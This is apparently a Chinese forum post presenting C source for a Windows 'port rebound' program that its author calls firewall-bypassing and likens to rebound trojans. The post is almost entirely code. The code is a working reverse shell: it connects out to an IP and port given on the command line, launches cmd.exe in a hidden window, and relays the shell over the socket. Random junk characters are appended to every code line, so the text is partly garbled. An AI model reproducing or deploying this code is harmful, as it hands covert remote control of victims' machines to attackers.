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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ;i-<dAV8B  
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/* ============================== vM?jm! nd  
Rebound port in Windows NT *IQQsfL)  
By wind,2006/7 ]US  
===============================*/ $A^OP{  
#include [Z2mH  
#include GZzBATx  
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#pragma comment(lib,"wsock32.lib") 7p_B?r  
;!pSYcT,  
void OutputShell(); 4_W*LG~2s  
SOCKET sClient; )MeeF-Ad6  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 6H ^=\  
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void main(int argc,char **argv) }NY! z^  
{ :rSCoi>K  
WSADATA stWsaData; Rj!9pwvT  
int nRet; 75W@B}dZd  
SOCKADDR_IN stSaiClient,stSaiServer; >SWc  
r^T+ I3  
if(argc != 3) xz3|m _)  
{ H:]'r5sw  
printf("Useage:\n\rRebound DestIP DestPort\n"); fb?YDM  
return; 'cPE7uNT  
} !EOYqD  
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WSAStartup(MAKEWORD(2,2),&stWsaData); E-v^eMWX  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); |Ng}ZLBM  
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stSaiClient.sin_family = AF_INET; @_H L{q%h  
stSaiClient.sin_port = htons(0); =4#p|OZP  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); (w1$m8`=  
B\\M%!a>  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) @n^2UJ  
{ COH9E\ZGF  
printf("Bind Socket Failed!\n"); 9w.ZXd  
return; Mz: "p.  
} mWTV)z57  
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stSaiServer.sin_family = AF_INET; ",pd 9  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 4u E|$  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); O"9Or3w  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) |h-e+Wh1  
{ 6kHuKxY,  
printf("Connect Error!"); hxkwT  
return; ( 9(NP_s  
} IVso/!   
OutputShell(); $f AZ^   
} :aR_f`KMm  
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void OutputShell() -=GmI1:=$4  
{ u9j1>QU  
char szBuff[1024]; 4P?R "Lk  
SECURITY_ATTRIBUTES stSecurityAttributes; YQ`88 z  
OSVERSIONINFO stOsversionInfo; r<!/!}fE,  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ~F[JupU  
STARTUPINFO stStartupInfo; hVW1l&s  
char *szShell; B3W2?5p  
PROCESS_INFORMATION stProcessInformation; \kP1Jr  
unsigned long lBytesRead; Le2rc *T  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); +6s6QeNS8  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ZVDi;   
stSecurityAttributes.lpSecurityDescriptor = 0; 4^7*R  
stSecurityAttributes.bInheritHandle = TRUE; 9a]JQ  
C}]143a/Q  
IgEVz^W?h  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); I[KAW"  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); eE" *c>I  
2`A\'SM'4  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Lklb  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; AQD`cG  
stStartupInfo.wShowWindow = SW_HIDE; +pxtar  
stStartupInfo.hStdInput = hReadPipe; 4F,RlKHBl  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ^%NjdZuDO  
nU/x,W[}  
GetVersionEx(&stOsversionInfo); rw%OA4>  
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switch(stOsversionInfo.dwPlatformId) p4@0Dz`Q  
{ \L"0Pmt[  
case 1: (r/))I9^  
szShell = "command.com"; x,Z:12H0  
break; zO((FQ  
default: H]( TSt<Q"  
szShell = "cmd.exe"; s]Z++Lh<{  
break; 3j\Py'};  
} !RwMUnp  
Dv}VmC""  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); i2?TMM!Fe  
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send(sClient,szMsg,77,0); 9s#*~[E*  
while(1) 3w8v.J8q  
{ 6\RZ[gA?  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); w_*$w Vl  
if(lBytesRead) O +Xu ?W]  
{ |`O210B@  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); B3Ws)nF"  
send(sClient,szBuff,lBytesRead,0); 6 - IThC  
} S7B?[SPrN[  
else v*^'|QyM7  
{ a 1~@m[  
lBytesRead=recv(sClient,szBuff,1024,0); b$Q#Fv&P  
if(lBytesRead<=0) break; * & : J  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); rQ)I  
} m0]Lc{  
} t8uaNvUM}e  
vs{xr*Ft  
return; S+u@ Q}  
}
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